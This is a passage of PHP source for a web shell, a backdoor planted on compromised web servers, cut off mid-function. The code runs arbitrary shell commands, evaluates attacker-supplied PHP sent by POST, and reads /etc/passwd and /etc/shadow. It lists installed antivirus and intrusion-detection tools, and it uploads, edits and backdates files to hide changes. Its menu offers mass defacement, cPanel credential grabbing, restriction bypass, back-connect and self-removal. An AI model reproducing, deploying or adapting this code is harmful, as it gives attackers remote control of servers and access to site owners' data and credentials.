select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#2a5ccdd9;}\r\n\tinput[type=\'button\']{background-color:#2a5ccdd9;}\r\n\tinput[type=\'submit\']:hover{background-color:#2a5ccdd9;}\r\n\tinput[type=\'button\']:hover{background-color:#2a5ccdd9;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'Windows-1251\', \'UTF-8\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $▟)\r\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Adminer\',\'Terminal\'=>\'Console\',\'Mass Title\'=>\'Massuser\',\'Mass User\'=>\'Edituser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Bypass\'=>\'bypas\',\'BC\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'▛\']))\r\n\tif (isset($_REQUEST[\'xd\'])) {\r\n\t\t$m[\'Reseller\'] = \'Reseller\'; }\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self Remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=infoo cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#ffffff><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#ffffff\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t\r\n\t\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$▖ = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$▖);\r\n\t\t$▖ = @join("\\n",$▖);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$▖ = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$▖ = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$▖ .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#2a5ccdd9><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#ffffff><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n\r\n\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 